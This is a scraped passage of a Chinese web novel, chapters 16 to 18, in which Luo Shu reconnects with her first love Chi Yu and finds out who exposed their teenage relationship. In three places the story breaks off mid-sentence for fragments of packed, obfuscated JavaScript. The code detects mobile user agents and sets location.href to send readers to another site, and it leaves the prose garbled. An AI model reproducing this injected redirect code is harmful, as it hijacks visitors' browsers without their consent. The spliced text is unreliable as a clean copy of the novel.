不等池煜回答，又像是怕听到回答，立刻关上房门。 * 一晃眼便到了年初三这天。 谢雨杉一直期待这天，去往陵园的时候很期待也很安静，他怀里抱着自己的小书包，书包里是他写给只能妈妈看的心里话，还有自己做的手工玩具。 车在陵园外停下，谢雨杉抱着一束郁金香率先跑出去，谢瑞怕他摔倒，提醒了一句“跑慢点！”，而后拎着他的书包大步跟上。 天气仍旧很冷，郊区空旷，风很大，吹在脸上似乎能透进骨头缝里。 洛姝裹紧围巾，两只手放在兜里和池煜并肩走，看着前面狂奔的小身影，飞扑到墓碑上，手舞足蹈地比划着，中英文夹杂说着这段时间发生的事情。 她提醒：“先站在这里，等会儿再过去。” 池煜和她一样停下脚步，顺着她视线看过去，就见兴高采烈的谢雨杉不知道说到了什么伤心事，放肆嚎啕大哭起来，而原本站在一旁的谢瑞后退了好几步，转过了身。 “他每次来都会哭，在他哭够之前不让我们靠近，说是被我们看见会很没面子。”洛姝解释完，深吸一口气，谢雨杉的哭声呜呜咽咽，像受了伤只会独自舔舐伤口的幼兽，委屈又伤心。 洛姝敛了眸，湿润的眼眶快速眨了眨，本想说些玩笑话调节一下此刻的气氛，可是一开口，心里堵着的那口气怎么都压不下去，她也很想哭，失去妈妈、想妈妈的还有她。 可身旁还有个池煜，若是就这么掉下眼泪也太丢脸了，不过不丢脸也不行了，眼泪完全止不住地往下掉，洛姝胡思乱想着，背过身擦了下眼泪，突然被池煜搂进了怀中。 他的怀抱很温暖，隔着厚实的衣料竟能听见他强有力的心跳声，离得这样近，他身上干净好闻的那股味道还是和以前一样没有变。郊外的风又冷又干，偏偏池煜圈着她的这一小方天地让她感觉到浓浓的暖意。 洛姝突然鼻酸，声音带着点颤意：“你干嘛啊？” ——是用这种笨拙的方式来安慰我吗？ “从见到你的时候就想这么做了。” 池煜摸她的头，用力揉了揉：“那天刚见到你的时候就觉得你长高了。现在比划一下果然长高了，还记得你上高中的时候才到我哪儿么？” 说完，他松开她，“现在已经到我肩膀位置了。”然后朝墓碑的地方望去，谢雨杉已经不哭了，谢瑞蹲在他跟前给他擦眼泪。 池煜拍了拍洛姝的肩膀：“我们也过去。” 来到墓碑前，洛姝蹲下来，轻声说：“妈妈，我跟池煜来看您了。” 池煜把手里的花放在墓碑旁边，接话：“这些年我没有太大变化，您肯定能认出来。” 他印象里的谢玫是个很温婉的女人，说话也很轻柔，见到他的时候总是露出慈爱的笑容，在更小的时候，他和洛姝疯跑玩闹的时候，谢玫还拿着手帕擦掉他头上的汗，叮嘱他慢点跑。 所以在很小的时候，池煜曾羡慕过洛姝有这样的妈妈，不像蒋春燕看见他满头大汗时候只会不分青红皂白地斥责。 想到这里，池煜朝墓碑鞠了一躬，低声说：“往后我会常跟洛洛来见您。” * 年初五这天，池煜回了粱城。 没过几天，谢瑞也带着谢雨杉回了英国。作为无业游民的洛姝也因赵慕挽早先给自己打的那通电话断了在首都重新找工作的念头，等她回粱城已经是年初九，粱城的温度要比首都高一些，跟着赵慕挽到糖果店的时候已经是下午三点。 糖果店的大门朝向南边，热烈的暖阳透过玻璃窗照进店里的猫爬架上，七只猫懒洋洋地躺在各自窝里，看见洛姝全都翘起尾巴蹭她裤边，此起彼伏的喵喵声围绕在她身边。 洛姝抱着猫，跟着赵慕挽上了二楼的小套间，一室一卫一厨，一个人住很合适，两个人同时站在里面就有些拥挤了。 赵慕挽这几天把二楼全都收拾了一遍，拉着她进卧室，“所有的东西都被我换成新的了，怎么样，喜不喜欢，都换成了你爱的粉色。” 这间卧室太少女心了，跟当年她住进池煜家里的那间屋子大差不差，入目就是粉色。洛姝笑着躺在床上，“太夸张了。” “哪里夸张了，这不得把我请来的店长伺候好吗？”赵慕挽学着她躺到一边，拿起一只玩偶抱在怀里：“你这么干脆的回来，是不是和池煜有戏？” 洛姝闭目养神：“没戏啊。” 赵慕挽撑起半个身子看她：“我不信，你俩准会旧情复燃。” “或许吧。”洛姝想到了当年蒋春燕和池升求她离开池煜的那天。 赵慕挽太好奇了：“所以你俩当初为什么提分手？真像苏望月了解的那样，你俩闹脾气你就提了分手？” 这是洛姝最不愿意提到的事情，她叹口气，简短地提了一下，隐去细枝末节：“当时蒋阿姨知道了我们两个谈恋爱的事情，她很生气也很反对我们两个在一起，私下里找到我，所以我就分手了。” “那她私下里找你，池煜是不是不知道？” “嗯。” “难怪苏望月说，池煜那时候也只是说你跟他闹了别扭，然后你就出国了。” 赵慕挽躺回去，半晌才道：“不过那时候你们确实胆子挺大，他妈妈那个强势的性格，又加上他高三，能同意你俩在一起就怪了。不过现在你们要是在一起肯定不会反对了。” 洛姝想到当年在医院，蒋春燕声嘶力竭的那一幕，对赵慕挽口中的肯定有些难以认同。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15375733|168327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 见她不说话，赵慕挽说：“不管怎么说，你就在这儿安心住下，我不会亏待员工的。” 洛姝虽然自称无业游民，但实际上还是有几个副业支撑，起码在首都和朋友合开的火锅店蒸蒸日上，饿肯定饿不死也不会捉襟见肘，也正是因为如此，她才能随意自如地换掉不喜欢的工作。 “赵老板打算开多少资薪聘请我？我时间很宝贵的，按天结吧。” 赵慕挽有些惆怅，她来粱城也是因为苏望月，这一次也是想和苏望月之间有个结果，“哪有具体天数啊，打算赌一下啦，很可能这个店要一直交给你了。” 洛姝狐疑地看她一眼，想问“为了他真的要做到这一步吗”，突然想起来自己不也是想要再靠近一点池煜，才答应回来粱城，与赵慕挽的所作所为似乎没有相差太大。 她咽下那句话，宽慰道：“你俩应该是有可能的，之前不是谈过么。” 赵慕挽扯了扯唇角：“虽然是谈过，分了又复合，但其实我们连手都没拉过。和我谈也是因为我表白他就答应，听起来是不是很随便，他就这么随便。可是你要说他随便吧，又没有对我做过过分的事情……我知道他其实就是不喜欢我。” 她继续自顾自地说：“他好像是有喜欢的人了，我听池煜酒吧里的调酒师说的，所以这一次才想坚持一下，要是真没结果就算了。好了，不提他了，我给你说啊，这七只猫真的超乖的，它们晚上会上楼但是不闹人……” 赵慕挽也没交代太多事项，毕竟糖果店不需要维持营业额，洛姝只需要待在店里给几只猫续粮续水。 在她离开后，洛姝在店里呆了好几天，也许是因为糖果店偏僻，也许是因为店主常年都是营业额看淡的状态，这几天并没有客人光临。 在连着吃了三天不同形状、口味的糖之后，洛姝看见糖就感觉喉咙发腻，于是终于呆够了的洛姝在晚上八点关店，去了酒吧街的“夜色浓”。 到地方的时候才九点零三，店里还没有客人光顾，暖色的灯光布置并不显得暧昧，轻音乐也很舒缓。 洛姝其实很少进酒吧，一是怕吵，二是有耳鸣，轻易不会来到这种喧闹的场合，自从去年跟着赵慕挽来过一次之后，她对酒吧吵闹的刻板印象就彻底改变了。 吧台的调酒师在擦杯子，很年轻，赵慕挽喊他“小李”。新的一年，他看起来仍旧像未成年，染了新的发色，一半黑一半白的阴阳头，好在长相比较帅气，才能勉强够驾驭这种发型。 看见唯一的客人，小李一眼就认出洛姝来，毕竟她长得漂亮，又是老板的初恋，将来八九不离十会成为老板娘的人，他忙打招呼：“洛洛姐今天来的好早，今天刚开门，服务员都还没换好工作服呢。” 说到一半他差点咬到舌头，来这么早肯定不是来喝酒的，他赶紧说：“老板在二楼休息室呢，这几天他八点就到店里了。” 见洛姝没有要上楼的意思，小李眨眨眼，印象里没见洛姝上过二楼，是因为刚复合，女生脸皮比较薄吗？ 他提议：“现在没客人，洛洛姐，我带你上去找老板吧！” 洛姝要了杯玛格丽特，“我不找他，我是来喝酒的。” 小李嘿嘿笑了一声，一脸磕到了的表情：“姐，你怕是''醉翁之意不在酒＇吧，我懂我懂。” 洛姝：“……” 23. Chapter 16 吧台座目前为止只有洛姝一个客人，小李很快调好酒递给她，然后转过身快速拿出手机轰炸池煜，再若无其事转回身，像完成了一件不得了的大事一般，特骄傲地扬起头给刚进门的客人调酒。 不过片刻，池煜从楼上下来，人还没到吧台，声音先到了：“一个人喝酒有什么意思。” 小李演技没法看：“好巧啊煜哥。” 池煜在他肩膀拍了下，然后坐在洛姝旁边，手里响个不停的手机被他摁停，直接翻过来放在桌上：“什么时候来的？” “刚到。” “吃饭没。”池煜看了眼时间，他睡了一下午，终于没吃饭，这会儿胃里空空，“我有点饿了，附近有家面馆很好吃，我还没去过，陪我去吃点？”说着他看小李：“我记得还是小李推荐的，对吧。” 小李狂点头：“对，那家番茄肥牛面巨好吃，卤味也很好吃，不好吃我给头拧掉！” “真这么好吃啊？”洛姝喝完了杯里的酒水，酒液滑进胃了有微微烧灼感，原本晚饭吃了七分饱的肚子更没有饥饿感，但她还是站起身：“那走吧。” 两人走出店的时候，池煜的手机再次响起来，催命似地，他看也没看，再次挂断，若无其事对洛姝说：“什么时候回来的？” “前几天。” 洛姝好奇：“你怎么不接电话。” “不想接。”池煜给手机开了免打扰，把她让到路里侧走：“这几天住在哪？还是香梵么。” “没，住在慕挽店里。”跟着池煜出了酒吧街拐个巷口就到了那家面馆，他点了碗牛肉面，洛姝不饿，坐在他正对面。 他们是店里唯二的客人，面端上桌，味道很香，池煜拿起筷子的时候，抬眼撞进洛姝的目光：“真不吃？” 洛姝捧着脸说：“就是来陪你的啊。” 池煜笑起来：“那我想想怎么感谢你啊，明天请你吃饭行吗？” 洛姝摇头，“总是请吃饭太没新意了。” “店里酒水全免吧，你只用刷脸不用刷卡。”池煜去餐柜里拿了双筷子和小碗，在面碗里给她盛了一小碗：“知道你不饿，不过还是陪我吃点儿？来都来了一起尝尝——” “Hello粉丝朋友们，今天小婉来吃面啦！诶，雾草！” 双马尾女生举着摄影机进了店，在看见门口那张桌子有人时吓了一跳，没忍住爆了句粗口，意识到自己说了什么的时候连忙捂起嘴。 洛姝看着她的镜头，“Hello，你是探店博主吗。” 女生把摄影机放在了身后，看见洛姝的长相后眼睛亮了一下，语气很惊喜：“你好漂亮！！” 夸完又不好意思地挠挠头：“我是个业余的探店博主，不专业的。”说着就去点了份面，一回头就看见了正安静吃面的池煜。 他没有抬头，但还是依然能从面部轮廓看得出来很帅气，那双手又长又漂亮，“感觉你们很适合当情侣博主诶，你对象颜值也很在线！” 洛姝解释：“我们不是情侣。” 女生笑着的表情有点凝固，一时间没反应过来：不是情侣，为什么男生会把碗里的面分出一个小碗来，太亲昵了点吧？ 没等她细想，那位她觉得颜值在线的男生抬头，“谢谢，有你这句话我会努力追到她的。” “哇塞。”女生心说，原来是在暧昧啊，现在确实比较流行暧昧，她朝洛姝和池煜比了个大拇指。 洛姝清了清喉咙，抬眼与正笑着的池煜对视，他的笑容带着浓浓的得逞意味，随后还对她挑起一边眉毛。 洛姝失笑，压低声音问：“你为什么这么开心？” “我俩到底谁是笨蛋啊。”池煜手肘撑着桌子，上半身微微前倾，那双看起来乖巧的杏眼笑弯着，浓密的睫毛衬着翘起的眼尾显得有些魅，“因为你啊，这么明显还看不出来？” “……” 要换做以前，这样的话要是能从池煜嘴里说出来简直是天方夜谭，但自从在粱城重逢，他完完全全像是变了个人，说出口的话太直白，让洛姝无法提前预判。 洛姝差点呛着，她用眼角的余光瞥见双马尾女生朝她投来一个意味深长的笑容。 “幼不幼稚啊你。”她赶紧用膝盖碰了一下池煜的腿，对面那双长腿微敞着，被她这么一碰，打着晃儿竟贴到她小腿上，转瞬便挪开，但池煜脸上一直带着那股笑容，看起来竟然有些狡黠。 “……” 洛姝瞪了眼面带无辜的池煜，食不知味地吃掉碗里的牛肉面，而后逃似地拽着他离开。 室外的冷风吹得人头脑清醒，池煜被洛姝拉着往酒吧街走。 她的手很秀气，手指又细又长，指甲圆润饱满，本甲的颜色偏肉粉色，很漂亮。 她微凉的掌心覆盖在池煜的手背上，很用力，是生怕走散的那股力道。 街道两边建筑物低矮，甚至有些空旷，以至于夜风刮在脸上让人忍不住打冷颤，洛姝缩了缩脖子，随后松开了手，鬼使神差地解释了一句：“我手太冰了。” 刚蜷起手要放进兜里，池煜那双比她大了一倍还要多的大手打了个转，拢住她的五指，连着手腕也握进他的掌心：“我手热。” “……” 两个人就这样，以一个不算牵手的姿势，肩并肩走在路上。 洛姝攥着的拳头没有松，任由池煜算得上滚烫的掌心包着自己的拳头，他抓得不紧，大拇指和食指指腹虚虚贴着她手腕脉搏。 其实只要洛姝自己愿意，就可以轻松挣脱，但她只是攥着拳头，除此之外再没有别的举动。 走了一段路，在快要靠近酒吧街的路段，池煜停下来：“是回去坐会儿还是送你回店里？” “不早了，回店里吧。” 到了停车场，两人怪异的握手姿势这才松开，属于他的温度散去，洛姝把手揣进口袋，坐进了副驾。 回到店里快到十点半，七只猫睡在各自窝里，看见洛姝回来全都翘起尾巴，又在看见陌生人的时候开开心心迎上去。 池煜抱起黏着自己的布偶猫，顺了顺它柔软的毛发。他还是第一次来赵慕挽的店，位置虽然有些偏，但好在周围住家比较多。 仔仔细细看了眼店内设施，他慢了半拍，跟在洛姝身后上楼。 楼上只有三十五平，打开门，一眼便能看见一整个布局结构，床挨着落地窗，窗外的景致一览无余，沙发与床之间留有间隙，用了隔断帘。 厨房很小，冰箱外一层保护膜还留着，油烟机也不像使用过的。 池煜站在玄关的位置，问她：“明天想吃什么？” 洛姝逗了逗他怀里的猫：“没想好，我可以去你家蹭饭么，虽然有点厚脸皮，但是如果我买了菜带去呢？” 这里的厨房连调味料都没有，洛姝这几天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15375734|168327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是吃外卖就是出去吃，实在是想吃点家常菜了。 “已经学会买菜了？”池煜问。 洛姝说得理所当然：“不会啊，可以去菜市场看嘛，新不新鲜眼睛总能看出来。” 池煜笑了，“这附近有个菜市场，明天一起去吧。” 他转身朝楼下走，把猫放到猫爬架上，叮嘱洛姝：“我回去了，晚上锁好门。我这几天在店里，睡不着就给我打电话。” “知道啦，又不是小孩子了。”洛姝嘟囔着，朝他摆摆手：“明天见。” 看着洛姝锁上店门，池煜才离开。 一直到车开回停车场，他才掏出手机，点进去看了眼那十三通未接来电，全是蒋春燕打来的，距离上一通电话拨过来才过去十分钟。 池煜庆幸自己开了免打扰，他点开了未接信息，三条信息也都是蒋春燕发的，只扫了眼便兴致缺缺地左滑点了删除，而后，接通了蒋春燕此刻的来电。 走到酒吧街附近，他站在路灯下点了支烟，风太大，点了好几遍才把烟点燃：“妈。” 蒋春燕怒道：“你还知道你有个妈？给你打了那么多遍为什么不接电话！” “接电话听您骂我啊？” 池煜眯着眼，弯腰捡起脚边的空塑料瓶，随手丢到垃圾箱里后，对着手机那头嗤了声：“我实在没有挨骂的癖好。” 他今天穿得颜色很单一，通身都是黑色，除了脚上踩的那双鞋是灰色，再找不出第三色彩。 可他生得好看，眉眼精致，帅气的外表更倾向于漂亮这个词，又加上身高腿长，独自一人站在路边抽烟，脸上挂着说不清的笑容，有些痞气，好些要去酒吧街消费的年轻女孩把目光放在了他身上，肆无忌惮地打量他。 池煜看着三步远外一个醉酒的年轻人东倒西歪冲过来，他眼疾手快地扶了年轻人一把，听着手机那头的蒋春燕怒不可揭道：“你看看你现在像什么样子，怎么就变成了这样，我看你这个酒吧是不能开了——” “您打了这么多遍就是为了说这个？”池煜看着面前欲言又止的女生，把烟在掌心摁灭，然后对蒋春燕说：“妈，不跟你说了。我有点事，忙完给你打回去。” 挂断电话后，他对举着手机的女生直截了当地说：“有事么？如果是加联系方式的话，很抱歉女朋友管得很严不让给。” 池煜绕开她直接朝酒吧街走，手里那支烟被他丢进垃圾箱，身后，有人吹了声口哨，阴阳怪气学着他说了遍：“女朋友管得很严不让给呢。” 池煜回头，唐烨站在不远处抛着车钥匙：“你小子真是斩不完的桃花。” 没理他的调侃，池煜问：“你怎么从那边过来了。” 唐烨：“小李说有家面馆很好吃，还说有人带初恋也去了。我也去尝了尝，味道是挺不错啊，只可惜我自己一个人既没有忘不掉的初恋，也没有刚复合的女朋友，吃完也没感觉嘴里甜滋滋的。” 池煜笑了下，没搭理他，低头在手机上打字。 “干嘛呢你，忙着给你的青梅竹马兼任初恋，兼任心上人发消息报备呢？” 池煜几不可闻地勾了下唇：“知道还问，不是自取其辱么？” 唐烨垮下脸：“……” 他深吸一口气，伸出两指捏住自己的嘴唇，然后又用这两根手指面无表情比了个“OK”，“和你这种坠入爱河的男人聊不了了，再见。” 24. Chapter 17 晴天雨季 次日早上，洛姝是被猫挠门吵醒的。 七只猫全拥上来蹭她的腿，饿得喵喵叫，洛姝被它们拥簇着楼下，一抬眼，看见玻璃门外举着早点的池煜。 墙上的时钟刚指到八点四十九分。 她赶紧去开门，“到很久了？” 大清早温度很低，她又问：“来怎么也没给我发消息。” “刚到，还没来得及。”池煜跟着进门，把早点随手放在桌子上，昨天黏着他的那只布偶又贴着他的腿蹭了蹭，听见洛姝开粮桶的动静，赶忙跑过去。 “你很早就起了么？”洛姝打了个哈欠，给挨着的几只碗添粮，揉了揉睡眼惺忪的眼睛，她还是第一次起这么早，脑子还没彻底清醒。 “比你早一点。” 猫的数量太多了，一个个碗添粮进去，猫根本等不及。池煜到她旁边蹲下跟着她一块喂猫，洛姝哈欠连天，嗅着空气中多出来的早饭香气：“买的什么，好香。” 池煜把挤在一个两碗里的三只猫分开，“杂粮煎饼和鲜肉锅盔。” “我去洗漱。”洛姝的肚子很不争气地叫了，她站起来，把粮勺塞给他手里，而后顺了顺头发，闭着眼睛朝二楼走，边走边说：“等会吃完早饭我们就去菜市场吧。” “好。”池煜应了声，转脸看她走路不稳的样子就知道没睡醒，还记得她睡不醒的时候总喜欢闭着眼睛走路。于是提醒了一句：“走楼梯睁开眼，别踩空了。要实在困就多睡会儿。” 洛姝回头看他：“不去买菜，咱俩吃什么？” 池煜被她发懵的表情逗笑了：“我家里有食材。” 洛姝三步并作两步两步跑上楼洗漱，很显然饥饿大过困意，刷完牙捧了把冷水浇在脸上后彻底清醒过来。 吃完早饭，洛姝跟着池煜去了附近的早市，还挺偏，车子七拐八绕才找到一处停车的位置。 九点半，又是工作日，来买菜的几乎都是中年人，又或是上了年纪的大爷大妈，像洛姝和池煜这样的小年轻，放眼望去再难找出来第二对。 人很多，洛姝紧紧跟着池煜：“你怎么知道这里有菜市？” 池煜停在蔬菜摊前：“之前来过。” 洛姝重复：“来过？” 池煜嗯了声：“之前送望月过来的时候来附近转了转，就看见了。” 洛姝又问：“你是怎么想到搬来粱城的，是因为我们之前来这里旅游过么？” 池煜拿起手里的包菜装进袋子里，说：“不是，是被苏望月怂恿来的，原因你应该能猜到。” 洛姝想了想，蓦地想到当年来这里旅游的时候。记得苏望月那时掉队了很久，回来很兴奋地说自己看见了个特别漂亮的女生，还很可惜没要到联系方式。 “我记得来这里旅游的时候，他说对人一见钟情，该不会是他为了追到那个女生才搬来了这里，然后又说服了你也来这里？” 池煜说：“也不全是。毕竟我也想换个地方待着。”高中毕业后他父母离婚，去了外地上大学逃离了母亲的掌控，在英国上了两年学回国后，更不想回浔城那个地方。 “之前我们不就说要离开那里么，现在实现了。”池煜笑了下，然后没再将话题深入下去，而是问她：“想吃什么？” 面前各式各样的蔬菜很新鲜，洛姝几乎可以说是没下过厨，也不知道这些菜可以做成什么样的美食， “除了芹菜都可以，我不挑。” “海鲜也不能吃。”池煜说完，看着涌动的人流，和她去买了些蔬菜和肉类，又买了些水果，直到左右手都拎满了袋子，这才打道回府。 德芙等在门口，欢天喜地扑过来，它体格大，洛姝差点被扑倒，身子惯性朝后仰，池煜手里拎满了东西，拿身子帮忙挡着才没让她摔出去。 德芙似乎是知道自己力气太大，立刻乖乖退回去坐在门口，两只耳朵耸拉着。等到洛姝站稳后，它又重新竖起耳朵，摇起尾巴。 洛姝接过池煜手里的袋子放在桌上，然后在德芙脑袋上摸了摸，蹲下来抱着它的身子顺了顺毛：“见到我就这么开心呀？” 德芙用脑袋蹭她，全然忽略了自己的主人。 时间已经不早，池煜拎着菜进了厨房，走到门口还停下来，“你陪它玩，我来煮饭。” 洛姝差点被德芙扑倒，她摸了摸小狗下巴，趁着它在地上打滚时候站起来，撸了撸袖子：“我来帮你打下手，顺便偷个师。” 池煜笑了声，“行啊。” 淘完米的功夫，洛姝已经把蔬菜洗好放在案板上，然后像小尾巴一样盯着他的一举一动。 池煜切菜的速度很快，甚至还能分心跟她说话，洛姝心中不由得一紧，怎么能有人三心二意还能给土豆丝切得那么均匀呢？ 生怕他切到手，她赶忙出声提醒：“你要不别和我说话了，我怕你切到手。” “放心，我会注意。”池煜把切好的菜放进盘子里，询问她意见：“土豆丝炒肉怎么样？” “行啊，我没意见。”洛姝自己不会下厨，一向不会对别人做的菜指手画脚，“你什么时候会做饭的？” 池煜手里的动作不停：“留学的时候。” 起初他也不会做饭，总是会出去吃，一个人在异国他乡，做什么也都是独自一人。 他住的单人公寓有厨房，没课的时候干脆就买菜回来自己下厨，最开始跟着视频里学，做的东西也是难以下咽，也把控不住咸淡，甚至烧坏了好几个锅。 池煜从小动手能力很强，学东西也很快，唯独厨艺跟着视频学了好几个月也就勉强能饱腹，切的土豆丝有粗有细，甚至还有不熟的。 后来硬生生把做饭当成了兴趣，时间长了就自发地出师了。 “出国留学？” 洛姝听到后明显愣了一下，说完才意识到淡出池煜的世界实在太久太久，有关于他的事，连冰山一角都没有了解到。 “嗯。”池煜应声，把买回来的肉用水洗了洗。 耳边是水流声，碗盘碰撞的响声，洛姝罕见地迟滞了片刻，第六感却莫名地觉得他去了英国，甚至可以再自以为是一点，池煜就在伦敦，和她在一座城市，却从来没有遇到过。 不过她没有继续问下去，生怕自己的第六感会预判有误，也幸好池煜没有接着往下提。 * 吃完午饭已经将近一点钟，洛姝回到糖果店是两点，猫咪们都在晒太阳，很惬意。 阳光很暖，店里没客人来，洛姝缩在角落的单人沙发上，从旁边书架上拿了本书看。 池煜的厨艺太好，她这顿午饭吃得有些撑，坐在这里晒着暖烘烘的太阳，整个人又安逸得很，自然而然就有些犯困。 强撑着调整了个睡姿，毛毯刚蒙在头上没多久，玻璃门被人敲了敲，门口挂着的风铃响了，好几只不怕生的猫喵喵叫起来，这时有人喊了声：“慕挽？” 洛姝的瞌睡虫被吓跑了一半，她从毯子里露出一双眼睛，看着进店的客人，客人看见她显然也是一怔：“慕挽在楼上吗？” 洛姝没想到在这里看见了很多年没见过的许玥，变化挺大的，她引以为傲的长发竟然剪掉了。 “她不在，出远门了。”洛姝把整张脸露出来。 “你是……”许玥盯着她看了会儿，然后惊喜道：“洛姝！你竟然来粱城了。” “好久不见啊，许玥姐。”洛姝的眼皮很沉，她强撑着困意坐直了身子：“你找慕挽有事？” 许玥笑着说：“没什么事，就是突然嘴馋想吃糖了，她店里的果汁软糖特别好吃。”然后，轻车熟路称了半斤果汁软糖，问：“池煜也在粱城呢，你们应该经常见吧？” “嗯。” 洛姝在心里纳闷，怎么粱城能见到这么多熟人？苏望月是因为心上人来了这里，池煜是因为要离开浔城，赵慕挽是因为苏望月才会把店开在粱城，那许玥呢？ 该不会和自己一样，也是因为池煜才选择来到这里吧。 她还记得许玥很喜欢池煜，要不然当年不会跟着一起去粱城旅游，后来许玥跟池煜表白被拒绝的时候，她也在场。 许玥：“那时候听说你出国了，我当时还挺愧疚的。” 洛姝打了个哈欠，来到收银台前，对这句话不太理解： ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15375735|168327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “愧疚什么？” 许玥有些愕然：“你难道不是因为蒋阿姨劝你和池煜分手才出国的么？” 洛姝彻底不困了：“不是。” “我还以为是因为蒋阿姨的原因你才出国呢。”许玥声音越发小了。 洛姝敏锐地捕捉到她里隐含的意思，挑明：“我跟池煜谈恋爱是你告诉她的？” 这些年，洛姝每当想到医院里蒋春燕声嘶力竭求她离开池煜的时候，她都在想一个问题。 想了很多遍都无解，那就是到底是谁把自己和池煜的关系告诉蒋春燕的？ 明明在学校里，他俩从来都没有出格的行为举动，所有人都知道她洛姝是池煜的妹妹，少有人知道她跟池煜没有血缘，不是兄妹关系，也压根不会想到他俩会谈恋爱。 虽然有这层身份的保护下，很大概率隐去了被发现的风险，但洛姝清楚既然谈了恋爱必然会被人发觉，早晚有一天会公之于众。 那个人到底在蒋春燕面前添油加醋说了些什么，能让蒋春燕会以自杀来威胁她，不管不顾说了那么多决裂的难听话，就连一向和蔼的池升竟下跪求她放过池煜。 每每想到下跪的池升和面目狰狞的蒋春燕都让她胆寒，绞尽脑汁想的问题答案，竟然在这样一个晴朗的冬日，答案送上了门。 许玥低声回答：“是的。” 洛姝淡淡问：“你现在还喜欢池煜，来这里也是因为他吧？” 许玥不好意思地说：“嗯。” “所以你就在蒋姨面前造谣。”洛姝扯了扯唇角。 许玥怔在原地，下意识往后退了一步，眼神躲闪，只是说：“我那时候学习学魔怔了，就觉得池煜这个时候谈恋爱太糊涂了，他可是老师重点培养的——” 洛姝冷声打断她的话：“那和你有什么关系？” 许玥一楞，印象里的洛姝一直很活泼爱笑，也很有礼貌，像这样语气很冲还是第一次见，她自知理亏，艰难开口：“确实没关系，但那时候我觉得我们毕竟一起来粱城玩了大半个月，怎么着也是朋友。” 洛姝嗤了声：“没记错的话，那时候是你软磨硬泡要跟来的吧？” 许玥被噎了下，生硬转移话题：“时间过得好快，得有十年没见过你了。要说有什么变化嘛，你变得更漂亮了，招眼就看见了。” 洛姝双手撑着收银台，看她的眼神带着犀利和审视，她印象里的许玥心细如发，人也热心肠，不管在男生堆还是女生堆里都玩得很开，在年级前几名，长得漂亮，追她的人只多不少。 “为了他做出这样的举动，值吗，获得他的青睐了吗。” 许玥硬着头皮道歉：“我这些年也很后悔，欠你一句抱歉——” “不接受。” 洛姝扬了扬下巴，克制自己爆粗口的冲动，指了指门外：“出去。” 许玥欲言又止，咬了咬唇后跑了出去。 鼻尖那股女士香水消散，洛姝卸了力气，坐回椅子上，不知道为什么明明没有很大的情绪起伏，身体还忍不住颤栗。 到了晚上的时候，她再一次梦见了穿着病号服的蒋春燕指着她破口大骂，沧桑的池升扑通跪在地上，她被吓得脸色惨白，双腿一软也跪倒在地。 噗通—— 声音太响，令洛姝悚然一惊，她的胸口剧烈起伏，开始大口喘息。 梦里的一切光怪陆离，要是时间逆转回到梦里的那一刻，她一定还会和池煜提分手，然后出国。 要是再重来一次。 她一定不会选择不告而别这种残忍的方式。 身处黑暗，太寂静也太压抑，洛姝仿佛海上浮木，没有任何归属和安全感，她摸索到手机，找出池煜的号码拨过去。 响了一声便被接通，池煜的声音添了些磁性和温柔，“还没睡么？” 洛姝想要发出声响，喉头却一哽，先喊了他的名字，“池煜。” 手机另一端传来断断续续说话的声音，池煜应该还在“夜色浓”，有冰块落进玻璃杯的脆响，紧接着手机那头的杂音消失，池煜温柔的嗓音再度传进耳膜，坚定又有力量：“我在呢。” 25. Chapter 18 洛姝这一刻只有一个念头。 那就是去见他，现在，立刻。 “这个点给你打电话，耽误你休息了没？” 她一边生硬地找着话题，一边快速从衣柜里找出衣服。窗帘被她拉开半扇，窗外已经飘起了雪花。 前几天，天气预报就预告今夜有雪，雪花果然在夜里十二点如期而至。 池煜笑着回答：“怎么会，还没到休息的点。你怎么还没睡，是睡不着？” 夜里气温低，洛姝摸到保暖的羽绒服，想了想还是换成轻便的呢子外套，随便套了条围巾。 “没有，打算睡了。” 洛姝已经开始穿鞋了，甚至打了车距离自己还有两分钟就到。她蹩脚地撒了个谎：“就是不小心误触了你的号码。” 池煜心说，那还真是太不小心了。 他没拆穿，唇角却愉悦地扬起弧度，只是说：“很晚了，睡吧。” “你也是。”洛姝挂断电话，三步并作两步下了楼。 * 唐烨见池煜煲完电话粥，不再和小李高谈自己的感情史，凑到他跟前：“不就是给你打个电话，你怎么笑成这样啊，就这么高兴？” “就这么高兴。” 池煜笑着说：“说了你又不懂。”这还是自重逢以来，洛姝第一次主动给他打电话。 “我确实不懂初恋的含金量。” 小李接话道：“初恋就这么难忘吗？” “我就忘了啊。”唐烨乜了池煜一眼：“他是例外，他初恋可是跟他从小一起长大的。我要有那么漂亮的小青梅，我也忘不掉。” 洛姝第一次来店里是和赵慕挽一块来的，穿着小香风类型的羊羔绒外套和直筒裤，头发盘得低，发质看得出来很好，灯光下很亮很顺。 